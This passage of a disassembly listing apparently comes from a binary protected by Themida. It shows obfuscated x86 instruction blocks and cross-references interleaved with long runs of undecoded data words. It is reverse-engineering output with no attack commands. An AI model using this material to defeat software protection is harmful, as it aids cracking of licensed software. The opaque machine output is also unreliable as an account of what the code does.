XREF: Themida_:0054F2BCj xor ch, 86h xor dh, ch pop ecx jmp loc_551069 ; --------------------------------------------------------------------------- loc_550B0D: ; CODE XREF: Themida_:0054AA27j push ebx push 7EBF7A58h pop ebx shl ebx, 5 add ebx, 2810B504h add ebp, ebx mov ebx, [esp] add esp, 4 push ecx jmp loc_54DCE1 ; --------------------------------------------------------------------------- db 4 dd 68D00051h, 6554h, 0E9241489h, 478Fh, 1C83C681h, 0D601363Ah dd 1C83EE81h, 0B951363Ah, 53577E2Bh, 4835F181h, 0B8505BD1h dd 57B04D41h, 3B08E9h, 52E95900h, 0F7FFFFB0h, 0C58145D5h dd 95D39050h, 3E0D3C05h, 2DE82965h, 653E0D3Ch, 3FCCE9h dd 4EE8300h, 12B1E9h, 0E9028F00h, 0FFFF1B7Ch ; --------------------------------------------------------------------------- loc_550B90: ; CODE XREF: Themida_:005461C9j sub edi, ebx jmp loc_54B5E4 ; --------------------------------------------------------------------------- db 33h dd 0C31240Ch, 240C3324h, 0FFEFFFE9h db 0FFh ; --------------------------------------------------------------------------- loc_550BA5: ; CODE XREF: Themida_:005535E5j pop esi push ebp jmp loc_54AF80 ; --------------------------------------------------------------------------- dd 0E8E9D5F6h db 20h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550BB3: ; CODE XREF: Themida_:0054D744j add edx, 73375C7Eh jmp loc_5451D5 ; --------------------------------------------------------------------------- dw 7C68h dd 0E900001Ah, 0FFFFA499h, 240C8B66h, 0FF6E93E9h, 0E1C380FFh dd 0EB80C300h, 4055E9E1h, 0F488FFFFh, 6658E588h, 0A9C5805Ah dd 2EDEE950h, 0EA800000h, 80EA28FAh, 8059FAC2h, 0E20059C2h dd 6659EA80h, 8FB551h, 0E95966EAh, 0FFFF3F28h, 0BD293068h dd 0E7815F73h, 1A9022F5h, 0CF81DFF7h, 7ADF5958h, 0B5EFEF81h dd 0FD89F90Ch, 246C015Fh, 44815D0Ch, 425D0824h, 5C0116D6h dd 77E90824h db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550C3F: ; CODE XREF: Themida_:0054900Bj pop esp pop ebp jmp loc_54487C ; --------------------------------------------------------------------------- dw 0C281h dd 4, 0FFFDDDE9h, 48F59FFh, 24248B24h, 0FF1AAFE9h, 895059FFh dd 405E0h, 4050000h, 87000000h, 0E95C2404h, 5C3h ; --------------------------------------------------------------------------- loc_550C74: ; CODE XREF: Themida_:0054320Bj xchg esi, [esp] pop esp push edx push esp push dword ptr [esp] pop edx add esp, 4 push ebx mov ebx, 4 add edx, ebx push dword ptr [esp] pop ebx add esp, 4 push 63ADh mov [esp], edi push ebx mov ebx, 60F03C1Ah mov edi, 2E4A1D96h xor edi, ebx pop ebx push ebp mov ebp, 51240914h jmp loc_54B804 ; --------------------------------------------------------------------------- loc_550CB7: ; CODE XREF: Themida_:0055399Cj push ebp mov ebp, esp add ebp, 4 jmp loc_549A85 ; --------------------------------------------------------------------------- dd offset dword_49005C+22062h db 28h, 9, 0F3h dd 59F3815Eh, 81687A4Ch, 9864D3C7h, 6BBA5216h, 8142F245h dd 4C77FAEFh, 81D70169h, 4C77FAC7h, 0DF015A69h, 456BBE56h dd 0E9E942F2h db 6Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550CFB: ; CODE XREF: Themida_:00543C02j add ecx, 48DF25FDh jmp loc_552682 ; --------------------------------------------------------------------------- dw 0EB81h dd 0BA48308Ch, 4305E3C1h, 0C1DBF743h, 60E905E3h, 88000028h dd 148B66D7h, 2C48124h, 80000000h, 0EF8084C7h, 8A11E9BDh dd 0B60FFFFFh, 0C4E955C8h, 28FFFF97h, 30E980C1h, 64F18058h dd 20A9E9h, 8BEA2800h, 0C481240Ch, 4, 80A6E280h, 0D58817C2h dd 0FF6E6AE9h, 0CE815AFFh, 331440BFh, 2F67EE81h, 0F1890B31h dd 21F1815Eh, 8932655Bh, 5670E9CAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550D7E: ; CODE XREF: Themida_:00545A59j mov [esp], ebp mov ebp, 51B2359Bh push edi mov edi, 6847421h xor ebp, edi jmp loc_54B1AE ; --------------------------------------------------------------------------- db 8Bh dd 0C483241Ch, 0FEF18104h, 527DBA75h, 0F702FFBAh, 45E5E959h dd 8B660000h, 91E92404h db 32h, 2 dup(0) ; --------------------------------------------------------------------------- loc_550DB3: ; CODE XREF: Themida_:00542BDAj sub edx, 4 xor edx, [esp] jmp loc_54604B ; --------------------------------------------------------------------------- loc_550DC1: ; CODE XREF: Themida_:005449C3j mov [esp], edx push 23BB7139h pop edx push ebp mov ebp, 23BB7138h jmp loc_54E566 ; --------------------------------------------------------------------------- db 5Bh, 41h, 81h dd 9F2A7EC9h, 0E3BB536Bh, 3134C03Ah, 0E9C15BD9h, 0FBE95706h dd 81FFFF75h, 4C4h, 2A066800h, 3C890000h, 0ABD5E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550E02: ; CODE XREF: Themida_:005538BBj add esi, 5D173AF0h sub esi, 4471454Dh jmp loc_54E1C8 ; --------------------------------------------------------------------------- db 68h dd 50F151D7h, 0FF1B28E9h db 0FFh ; --------------------------------------------------------------------------- loc_550E1D: ; CODE XREF: Themida_:0054A041j push eax push ebp mov ebp, 4 mov eax, ebp pop ebp push 8B7h mov [esp], edx mov edx, 54ED312Fh sub ebp, edx pop edx add ebp, eax push eax mov eax, 54ED312Fh jmp loc_554820 ; --------------------------------------------------------------------------- dd 4C481h, 0C4810000h, 4, 2474FF50h, 329DE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_550E5A: ; CODE XREF: Themida_:00546AF9j add eax, 4 jmp loc_54ED06 ; --------------------------------------------------------------------------- loc_550E64: ; CODE XREF: Themida_:00547D2Aj push ecx mov ecx, 5475784Ah shl ecx, 1 jmp loc_5535D2 ; --------------------------------------------------------------------------- db 81h, 0EBh, 0EEh dd 5A5D3517h, 1B68C301h, 89000061h, 0B9240Ch, 0E9000000h dd 0FFFF360Fh, 8704C083h, 19E92404h db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_550E97: ; CODE XREF: Themida_:0054CB88j push edx pop ecx mov ebx, ecx pop ecx pop edx jmp loc_54FDBF ; --------------------------------------------------------------------------- dw 8955h dd 5DEF89F5h, 0EBB535Eh, 8157FC31h, 0BD082444h, 0E96C2B2Ah dd 0FFFF6BB2h, 83242489h, 0FF042404h, 0C8B2434h, 4C48124h dd 83000000h, 0BB6804C4h, 89000016h, 4BF243Ch, 1000000h dd 5177E9F9h, 3C89FFFFh, 52E78924h, 4BAh, 5AD70100h, 81E28952h dd 4C2h, 6E766800h, 34890000h, 1732E924h, 148B0000h, 4C48124h dd 0E9000000h, 0FFFF85A8h ; --------------------------------------------------------------------------- loc_550F18: ; CODE XREF: Themida_:0054F616j mov [esp], ebx add dword ptr [esp], 77215D70h pop eax sub eax, 77215D70h sub esp, 4 mov [esp], ecx jmp loc_554AA2 ; --------------------------------------------------------------------------- loc_550F33: ; CODE XREF: Themida_:0054AA78j mov edx, 4 add [esp+4], edx mov edx, [esp] add esp, 4 mov esi, [esp] sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp] jmp loc_557AE9 ; --------------------------------------------------------------------------- db 5Ch, 1, 0FAh dd 82D5E953h, 0E981FFFFh, 4, 5C240C87h, 83240489h, 1C8904ECh dd 4C9BB24h, 0CDB84C45h, 314C4504h, 241C8BD8h, 6A45E9h dd 3E9C100h, 4A3E953h, 0EC810000h, 4, 6616E9h, 30C18000h dd 0FFFD8EE9h db 0FFh ; --------------------------------------------------------------------------- loc_550FAD: ; CODE XREF: Themida_:0054BC61j add ebx, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_5515EF ; --------------------------------------------------------------------------- a3SF db '3,$é F',0 dd 24348900h, 42474FFh, 24048F5Eh, 6624248Bh, 5724048Bh dd 243C8B54h, 8904EC83h, 5D54242Ch, 4C581h, 0C5830000h dd 242C8704h, 146E9h, 170EE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550FFE: ; CODE XREF: Themida_:0054DBC8j push 0A8468BDh mov ecx, [esp] add esp, 4 inc ecx sub ecx, 0C966149Ah mov ebp, ecx pop ecx jmp loc_54F09C ; --------------------------------------------------------------------------- dd 8324148Bh, 0E28104C4h, 321D7EACh, 1C281h, 0EA810000h dd 2EBE1D67h, 0C3C2814Ah, 81FEBDDAh, 8853A3C1h, 0BAA2E96Eh dd 5401FFFFh, 6C810424h, 3F3F0424h, 0FF5A55A9h, 0EFE92434h dd 68FFFF91h, 5A4Dh, 68242C89h, 1, 0FF7228E9h db 0FFh ; --------------------------------------------------------------------------- loc_551069: ; CODE XREF: Themida_:00550B08j add dh, 93h sub esp, 2 mov [esp], bx jmp loc_551C56 ; --------------------------------------------------------------------------- db 5 dd 53B9295Dh, 98E9C801h, 64FFFF33h, 66028B66h, 6677CA68h dd 0E9240489h, 0FFFF1674h ; --------------------------------------------------------------------------- loc_551098: ; CODE XREF: Themida_:0054F9A2j mov bh, cl jmp loc_54CB8D ; --------------------------------------------------------------------------- db 1 dd 48E981E9h, 8B0A7C2Ah, 0C483242Ch, 4EC8304h, 0BA241489h dd 14DF79D3h, 0FFD347E9h, 5FFE29FFh, 348BF301h, 4C48324h dd 0E904C383h, 4472h ; --------------------------------------------------------------------------- loc_5510D0: ; CODE XREF: Themida_:0054916Cj push edx jmp loc_555E15 ; --------------------------------------------------------------------------- dw 0BD55h dd 1E46496Bh, 0B4EB8ABAh, 17C28161h, 12BA87Bh, 0D47FE9EAh dd 4040FFFFh, 2E1C8A35h, 500BE970h, 34FF0000h, 0C4835B24h dd 24048F04h, 24048F5Ch, 2404895Ch, 8B2434FFh, 48682414h dd 8900005Bh, 0E6892434h, 4C681h, 0BB530000h, 4, 875BDE01h dd 525C2434h, 0E950E289h, 0FFFF1E3Bh, 93E9E389h, 5C00005Bh dd 5D5468h, 24148900h, 0FFA958E9h db 0FFh ; --------------------------------------------------------------------------- loc_55114D: ; CODE XREF: Themida_:0055450Fj add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push ecx jmp loc_54A8CE ; --------------------------------------------------------------------------- aO1 db '-®1¸',0 dd 0DCE9C189h db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55116F: ; CODE XREF: Themida_:0054CFCEj shl ebx, 1 jmp loc_54D7BE ; --------------------------------------------------------------------------- dw 0E589h dd 8904EC83h, 6850241Ch, 67151297h, 0FFF8E9E9h db 0FFh ; --------------------------------------------------------------------------- loc_551189: ; CODE XREF: Themida_:00547A90j add edi, 4 xchg edi, [esp] jmp loc_54D580 ; --------------------------------------------------------------------------- db 5Ah dd 205h, 24048700h, 243CD25Ch, 1562E99Ch, 0E95AFFFFh, 0FFFF23AEh dd 0E924248Bh, 0FFFF6735h, 7388F681h, 0D6F743DAh, 8146D6F7h dd 724433EEh, 0C4E95563h, 5AFFFF7Dh, 4C481h, 62680000h dd 89000031h, 0E955243Ch, 147Ah, 37E9C729h, 57000008h dd 307BB850h, 0D8F72F08h, 4008E0C1h, 0FF30BEE9h, 3E0C1FFh dd 0B58B0E35h, 0E9C589DCh, 246Ah, 0E987D5F7h, 0DF74F181h dd 0CDE97AEBh, 0B600003Bh, 0A1C680A3h, 0CEFEDEF6h, 3030C680h dd 88E95AF5h db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55122F: ; CODE XREF: Themida_:00544826j xchg ebx, [esp] jmp loc_553B9E ; --------------------------------------------------------------------------- db 8Bh dd 54572404h, 4C7815Fh, 83000000h, 3C8704C7h, 0C3015C24h dd 8904EC83h, 0D6BD242Ch, 81210F69h, 79083AF5h, 14F7552Fh dd 0E2E95D24h, 83FFFFC4h, 3C3304C7h, 243C3124h, 5C243C33h dd 0FFD235E9h, 240487FFh, 5FC7E9h, 0EBC05900h, 6EBC002h dd 0E992C380h, 0FFFF90FDh ; --------------------------------------------------------------------------- loc_551290: ; CODE XREF: Themida_:0054FDFBj pop esp jmp loc_54B89D ; --------------------------------------------------------------------------- dw 84BAh dd 812DEA42h, 0AE6C12E2h, 0D2F74203h, 0BAE9DAF7h, 55FFFFC7h dd 16ADBE56h, 67BD2945h, 29A4AB6Ah, 0F5815EF5h, 66144360h dd 0C104EDC1h, 0ED8106E5h, 72042BD3h, 5039C581h, 4AE977A3h dd 81FFFF49h, 63843C1h, 17BA5256h, 0C14ADC22h, 0EAC105EAh dd 2E2C108h, 0E906E2C1h, 0FFFF4EC7h, 68h, 95685100h, 8B5ED90Fh dd 0C483240Ch, 244C0104h, 1C295904h, 95685124h, 8B5ED90Fh dd 0E952240Ch, 18DEh, 0B3536304h, 5BD82872h, 7204F828h dd 5366632Ch, 3666E9h db 0 ; --------------------------------------------------------------------------- loc_551331: ; CODE XREF: Themida_:00547C17j and ecx, 633A15D3h add ecx, 0D3F3C5CFh sub edi, ecx jmp loc_549E07 ; --------------------------------------------------------------------------- dd 4C381h, 0BCE90000h db 0AEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55134F: ; CODE XREF: Themida_:0054448Ej dec esi jmp loc_55200B ; --------------------------------------------------------------------------- db 81h, 0EFh, 0D3h dd 0FF169864h, 43E92434h, 0D1FFFF4Dh, 0FDC681EEh, 8946DD0Fh dd 24348BF2h, 4C481h, 0EB810000h, 70D05C87h, 0FFF5FAE9h db 0FFh ; --------------------------------------------------------------------------- loc_551381: ; CODE XREF: Themida_:005499FDj add esp, 4 jmp loc_54B33B ; --------------------------------------------------------------------------- loc_55138C: ; CODE XREF: Themida_:0055391Dj xchg eax, [esp] pop esp mov [esp], ecx pop ebx pop ecx add ebx, 0FFFFFFFFh sub ebx, 0EE9C5F1Bh add edx, ebx mov ebx, [esp] add esp, 4 xor edx, 1FAEDC78h sub edx, 192120C5h push ebx jmp loc_54700B ; --------------------------------------------------------------------------- loc_5513BB: ; CODE XREF: Themida_:005528C3j mov [esp], ebx sub dword ptr [esp], 1D4B4B9Dh mov esi, [esp] add esp, 4 jmp loc_546E7C ; --------------------------------------------------------------------------- db 0C1h dd 0F18105E1h, 82001004h, 5159CB01h, 0AF3E4DB9h, 0EC18145h dd 0E950A440h, 0FFFF7DECh, 5C241487h, 83243489h, 1C8904ECh dd 17D3BB24h, 5E5374C5h, 81241C8Bh, 4C4h, 0FFF73100h, 835E2434h dd 0E95104C4h, 1230h, 0A604EBAh, 0B8F28104h, 17D7E72h dd 0C7815AD7h, 0D785C2B0h, 3EA6E981h, 0F929018Eh, 0FF7228E9h dd 1C0BBBFFh, 0D9211511h, 0FFC1815Bh, 8102087Bh, 0AD8E58F1h dd 0E9CB2941h, 60ADh, 0E9242C89h, 0FFFF625Eh ; --------------------------------------------------------------------------- loc_551460: ; CODE XREF: Themida_:0054A562j pop ebx add edi, 0B7D434Ah add edi, ecx jmp loc_548AFF ; --------------------------------------------------------------------------- loc_55146E: ; CODE XREF: Themida_:005523E9j mov esi, [esp] add esp, 4 pop dword ptr [esp] pop esp sar dword ptr [esp], cl pushf jmp loc_54270C ; --------------------------------------------------------------------------- db 0C1h, 0EAh, 8 dd 156BF281h, 0D0092070h, 0FF3BE2E9h, 0A1EE81FFh, 0E907C440h dd 0FFFFAE9Fh, 0C4E9D601h, 68FFFF93h, 59F7h, 116EE9h, 241C8B00h dd 0FFA24EE9h, 77BE56FFh, 0E91E387Dh, 47Ah, 9ABB5350h dd 890C332Bh, 83405BD8h, 0BB53FFE8h, 6CEA2F4Ah, 1C8BD831h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5550CC ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 81000000h, 4EAh, 2197E900h, 4B90000h, 1000000h, 0BD5559C8h dd 4, 9F8E9h, 70E95D00h db 0A7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55150B: ; CODE XREF: Themida_:0054F0A2j add ebp, 0D9D5563h not ebp push 4ABh mov [esp], esi mov esi, 3FE761D0h jmp loc_54EB0B ; --------------------------------------------------------------------------- db 2Ch, 0FEh, 0E9h dd 0FFFF903Bh, 592434FFh, 39FD68h, 24348900h, 0FF2B1BE9h dd 0E90D2CFFh, 0FFFF5107h ; --------------------------------------------------------------------------- loc_551544: ; CODE XREF: Themida_:0054B2B1j pop edx jmp loc_555437 ; --------------------------------------------------------------------------- loc_55154A: ; CODE XREF: Themida_:00542D63j sub dword ptr [esp], 14FC3293h pop ecx jmp loc_556D63 ; --------------------------------------------------------------------------- db 89h dd 2CE9241Ch, 1FFFF8Bh, 8B04246Ch, 8953242Ch, 4C381E3h dd 0E9000000h, 0FFFF9410h ; --------------------------------------------------------------------------- loc_551574: ; CODE XREF: Themida_:00553F6Dj xor ebp, 0C33DE35Fh or edi, ebp mov ebp, [esp] jmp loc_55632F ; --------------------------------------------------------------------------- dd 0C15BD829h, 0CC2D07E8h, 407A8950h, 0FB38B205h, 6844350Ch dd 0C131BDEDh, 8324048Bh, 1AE904C4h, 68000036h, 5905h dd 53241489h, 25D4168h, 0C3815B06h, 35B7194h, 0F3814343h dd 95DCED3h, 0E95BDA89h, 0FFFF7EA1h ; --------------------------------------------------------------------------- loc_5515CC: ; CODE XREF: Themida_:0055327Fj add edx, eax push 5286h mov [esp], esi mov esi, 3EEB755Dh sub edx, esi pop esi push edi mov edi, 5C5A100Ah xor edi, 1744024Ah jmp loc_54EB59 ; --------------------------------------------------------------------------- loc_5515EF: ; CODE XREF: Themida_:00550FBCj pop esp mov [esp], esi jmp loc_54EEA0 ; --------------------------------------------------------------------------- dd 75C6C281h, 0E9504B87h, 4DFDh, 565FFE01h, 42474FFh, 47B9E95Eh dd 3C87FFFFh, 0C3015C24h, 7B9EC381h, 0E95811C6h, 0FFFF8E1Ch dd 352768h, 243C8900h, 0FC795FBFh, 0D3B95130h, 179BA4Eh dd 0EA8159CAh, 4E1D611Dh, 0C281FA01h, 4E1D611Dh, 4ED3EA81h dd 575F79BAh, 152D65BFh, 0C1F8E96Ch, 0CB6FFFFh, 28B6C680h dd 0CBFE5AF3h, 0EB80DBF6h, 5BD8280Ch, 592434FFh, 4C481h dd 0BEE90000h, 5FFFFF2Bh, 0E95EF101h, 0FFFF864Ch, 31241433h dd 14332414h, 24248B24h, 0E99CC138h, 0FFFF43DEh, 0E95EF329h dd 579Fh ; --------------------------------------------------------------------------- loc_5516A0: ; CODE XREF: Themida_:00547279j add ebp, edi pop edi jmp loc_547053 ; --------------------------------------------------------------------------- dd 8B24248Bh, 0FB682404h, 0E9000016h, 0FFFFA58Ah ; --------------------------------------------------------------------------- loc_5516B8: ; CODE XREF: Themida_:005505E6j push edi mov edi, 721F44DBh mov ebp, 0B813FEC7h jmp loc_54B7BC ; --------------------------------------------------------------------------- dd 4C28359h, 2474FF52h, 48F5A04h, 348B5C24h, 4C48324h dd 8B240C87h, 8B662424h, 0C3682414h, 89000065h, 0EC832434h dd 18E95404h, 8100000Ch, 0A1B6FDEEh, 27CFE956h, 6C29FFFFh dd 2C8B0424h, 4C48124h, 81000000h, 0ED32404h, 4297C40h dd 242C8124h, 7C400ED3h, 398DE9h db 0 ; --------------------------------------------------------------------------- loc_551725: ; CODE XREF: Themida_:00551D5Fj push 5E6Dh mov [esp], ecx jmp loc_555A8D ; --------------------------------------------------------------------------- loc_551732: ; CODE XREF: Themida_:0054B367j sub esp, 4 mov [esp], eax add dword ptr [esp], 3F1F0897h mov ecx, [esp] add esp, 4 sub ecx, 3F1F0897h mov ebp, ecx mov ecx, [esp] add esp, 4 mov eax, [esp] jmp loc_5518D8 ; --------------------------------------------------------------------------- dw 0C729h dd 2EFC158h, 68h, 68565500h, 555C306Dh, 0FFDAF1E9h db 0FFh ; --------------------------------------------------------------------------- loc_551775: ; CODE XREF: Themida_:00546EB3j push 1EE8h mov [esp], esi mov esi, 463F3081h not esi add esi, 1AB61E77h push ecx mov ecx, 54355AFEh xor esi, ecx pop ecx add esi, 7FBC48F9h add ebx, esi push dword ptr [esp] pop esi add esp, 4 xchg ebx, [esp] mov esp, [esp] push ebx push 1AEh mov [esp], ebp jmp loc_54E902 ; --------------------------------------------------------------------------- loc_5517B9: ; CODE XREF: Themida_:00546A9Dj or eax, 667E6992h jmp loc_54C023 ; --------------------------------------------------------------------------- loc_5517C3: ; CODE XREF: Themida_:00557556j add ecx, ebx jmp loc_54C3DE ; --------------------------------------------------------------------------- dw 0C5BAh dd 2925269Dh, 0C2815FFAh, 1, 6560B850h, 3D353063h, 0E92EF80Bh dd 0FFFFF906h, 0C381E389h, 4, 8BA5251h, 50396C41h, 0B431A368h dd 103DE917h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551802: ; CODE XREF: Themida_:00554767j xchg eax, ebx push ebx xchg edi, [esp] not edi push edi jmp loc_550A93 ; --------------------------------------------------------------------------- loc_55180F: ; CODE XREF: Themida_:0054CC51j pop ebx push ecx mov ecx, 4 add ebx, ecx pop ecx sub ebx, 4 jmp loc_5455E2 ; --------------------------------------------------------------------------- db 81h, 0C1h, 0AEh dd 13F9254h, 2434FFCEh, 4C48359h, 390DE951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551836: ; CODE XREF: Themida_:00557581j pop ebp xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] push 3B86h mov [esp], edx jmp loc_542BD2 ; --------------------------------------------------------------------------- dd 4EC835Ah, 0BE243489h, 0C9F7BE9h, 8101EE83h, 0E15052EEh dd 5EF029E7h, 0E953D801h, 0FFFF461Ch, 31241433h, 14332414h dd 0B8E95C24h db 4Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55187F: ; CODE XREF: Themida_:00549BDBj mov dl, 5Ah shr dl, 1 add dl, 0F3h mov cl, dl pop edx or cl, 0F0h sub cl, 3Ch jmp loc_54B88D ; --------------------------------------------------------------------------- dd 0A73B270Dh, 26910D63h, 9050D28h, 577C971h, 28537479h dd 248E9h, 0D3015E00h, 3F3CC381h, 64E9404Ch, 8900002Ch dd 6852241Ch, 46211BBDh, 0E924148Bh, 0FFFF56B3h, 0D6ED815Fh dd 0E9068041h, 0FFFF621Dh ; --------------------------------------------------------------------------- loc_5518D8: ; CODE XREF: Themida_:00551759j add esp, 4 sub ebp, 60D904D6h jmp loc_547BA0 ; --------------------------------------------------------------------------- loc_5518E6: ; CODE XREF: Themida_:005509B5j sub esp, 4 mov [esp], edx push edi push 10D04710h pop edi inc edi sub edi, 992E1BC0h push ebp mov ebp, edi mov edx, ebp pop ebp pop edi push eax push 887DD4AFh mov eax, [esp] push eax push esp jmp loc_55335F ; --------------------------------------------------------------------------- loc_551914: ; CODE XREF: Themida_:0055268Aj pop ecx mov edi, ebx pop ebx jmp loc_54FAB6 ; --------------------------------------------------------------------------- db 31h, 74h, 24h dd 77E95E04h, 53FFFF94h, 0FF1036E9h, 83FF04FFh, 1C8904ECh dd 5014E924h, 7429FFFFh, 0E95E0824h, 1E94h ; --------------------------------------------------------------------------- loc_551944: ; CODE XREF: Themida_:0054E612j xchg edx, [esp] pop esp mov [esp], eax mov eax, 0D5D2F004h add ebp, eax pop eax push ebp sub dword ptr [esp], 3C940361h pop ebx add ebx, 3C940361h pop ebp and ecx, ebx mov ebx, [esp] jmp loc_5527B4 ; --------------------------------------------------------------------------- loc_55196D: ; CODE XREF: Themida_:00553E71j push esp pop eax add eax, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], edi mov edi, esp add edi, 4 jmp loc_5568D1 ; --------------------------------------------------------------------------- loc_55198F: ; CODE XREF: Themida_:0054E741j add esi, 4 push eax mov eax, 4 add esi, 7FE37045h jmp loc_54EF0D ; --------------------------------------------------------------------------- loc_5519A6: ; CODE XREF: Themida_:00549E4Bj xchg ecx, [esp] pop esp loc_5519AA: ; CODE XREF: Themida_:00546A6Aj push edx sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebx jmp loc_547A7A ; --------------------------------------------------------------------------- dd 285C70BAh, 0CA814A22h, 29796AD1h, 7635F281h, 0E2C170CBh dd 2CF28102h, 0E96EC823h, 0FFFF4CBCh, 8BBA52ADh, 2D5DF141h dd 228D4B2Eh, 0B951D029h, 6A2E7B4Fh, 37EBC981h, 0E9814E74h dd 0D4841DAh, 8104E1C1h, 2969DEC1h, 7878E90Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551A16: ; CODE XREF: Themida_:0054B7BEj pop edi add ebp, 0DD742D36h jmp loc_54CF98 ; --------------------------------------------------------------------------- dw 0C781h dd 318A58FAh, 20C3C781h, 1580DE5h, 93BB53CFh, 81543A4Bh dd 0F540FAF3h, 46CB8136h, 0F7513B24h, 0E6F381D3h, 812FD53Ah dd 211871C3h, 5BDF0179h, 243C3359h, 33243C31h, 248B243Ch dd 7BDAE924h, 0F001FFFFh, 0FF38A4E9h db 0FFh ; --------------------------------------------------------------------------- loc_551A6D: ; CODE XREF: Themida_:0054ADE1j push dword ptr [esp] pop edi add esp, 4 mov dword ptr [edx+30h], 1C547412h xor [edx+30h], ebx jmp loc_544A65 ; --------------------------------------------------------------------------- dw 148Bh dd 4C48324h, 4EC81h, 4890000h, 1172E924h, 0F381FFFFh, 18D03EA2h dd 6C69EB81h, 16E9192Ch db 98h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551AAB: ; CODE XREF: Themida_:00544F75j pop edi pop ebp jmp loc_553642 ; --------------------------------------------------------------------------- loc_551AB2: ; CODE XREF: Themida_:00544998j mov esi, 667156FCh xor edi, esi pop esi push edi sub dword ptr [esp], 3B8F697Bh pop edx add edx, 3B8F697Bh mov edi, [esp] add esp, 4 sub edi, 6E32362Ch sub edi, 7870AA5h add edi, edx add edi, 7870AA5h add edi, 6E32362Ch pop edx xor edi, [esp] xor [esp], edi jmp loc_556609 ; --------------------------------------------------------------------------- db 56h, 89h, 0C6h dd 34FFF189h, 0C4835E24h, 8E95804h db 0ACh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551B07: ; CODE XREF: Themida_:00543F9Ej add esp, 4 push 3DCAh mov [esp], eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], esi jmp loc_54F15F ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0BB241C89h, 2, 3848ED81h, 0C5814505h, 43E10110h dd 0FF83F8E9h, 242C8BFFh, 0E904C483h, 0FFFF96A3h, 81242489h dd 42404h, 565B0000h, 4BEh, 4775E900h, 815E0000h, 457A7BE9h dd 0BABE560Ah, 110C4F6h, 24348BF1h, 0FF4CFBE9h, 243C89FFh dd 53176BBFh, 5FFE2955h, 515EF301h, 0FF4AF1E9h db 0FFh ; --------------------------------------------------------------------------- loc_551B95: ; CODE XREF: Themida_:005432B9j pop dword ptr [esp] pop esp jmp loc_556B2D ; --------------------------------------------------------------------------- loc_551B9E: ; CODE XREF: Themida_:0055485Bj or eax, esi pop esi shl eax, 1 push edx jmp loc_54D610 ; --------------------------------------------------------------------------- db 81h, 0F6h, 3Ch dd 89570551h, 24348BF1h, 4C481h, 0D9010000h, 0FF590103h dd 1C8B2434h, 1C02E924h, 0D0F7FFFFh, 0FF5399E9h, 0FFD001FFh dd 34FF2434h, 0C4835A24h, 4C48104h, 0E9000000h, 0FFFFCC1Ah dd 815FFA29h, 351436F2h, 1C2815Ah, 0C1000000h, 0B95105EAh dd 8C714D1h, 0F948E981h, 0F6E9C11Fh db 49h, 2 dup(0) ; --------------------------------------------------------------------------- loc_551C0B: ; CODE XREF: Themida_:0054BE4Aj pop esp mov [esp], eax jmp loc_54A1F2 ; --------------------------------------------------------------------------- dd 88EC8850h, 7D06E9E2h, 0C481FFFFh, 4, 0D800262Ch, 5038B753h dd 0D5E925B0h, 0FFFFFF54h, 815F2434h, 4C4h, 4EC8100h, 89000000h dd 0B7BD242Ch, 81494115h, 9D7BC3F5h, 0CA01E949h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551C56: ; CODE XREF: Themida_:00551076j mov bh, 51h add dh, bh pop bx xor dh, 47h jmp loc_5470E0 ; --------------------------------------------------------------------------- dd 5F41E581h, 0D5F71E96h, 0D16DF581h, 5555BD10h, 0EE1607BDh dd 6BD556Eh, 12C5F69h, 5D08246Ch, 4246C29h, 4246C81h, 2C5F6906h dd 0ECE95B5Dh db 66h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551C97: ; CODE XREF: Themida_:00546C71j push small 5854h mov [esp], ax jmp loc_544407 ; --------------------------------------------------------------------------- dd 0FE04C483h, 0FFB252C1h, 0E95AD128h, 0FFFF9535h, 0C58001B0h dd 80C52858h, 48B58EDh, 0E6895624h, 4C681h, 0C6830000h dd 24348704h, 4810E95Ch, 0F888FFFFh, 24148B5Bh, 8804C483h dd 885358C2h, 0E9FD88D7h, 0FFFFBACBh, 348BF329h, 0A076824h dd 0FFE90000h, 0ADFFFF40h, 2E228E05h, 1C30E95Eh, 5068FFFFh dd 5E0F192Bh, 72BD5550h, 0B8574B68h, 79C35F3Dh, 6EE9E831h db 0A5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551D1F: ; CODE XREF: Themida_:00545CDAj pop eax sub esp, 4 jmp loc_547F6A ; --------------------------------------------------------------------------- db 89h dd 4C181E1h, 0E9000000h, 49B1h ; --------------------------------------------------------------------------- loc_551D38: ; CODE XREF: Themida_:00548AEFj push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], ebp push eax mov eax, 39FA7A89h add eax, 0EEB0C131h mov ebp, eax pop eax add ebx, ebp pop ebp add ebx, eax jmp loc_551725 ; --------------------------------------------------------------------------- dd 38A0C681h, 0C601618Bh, 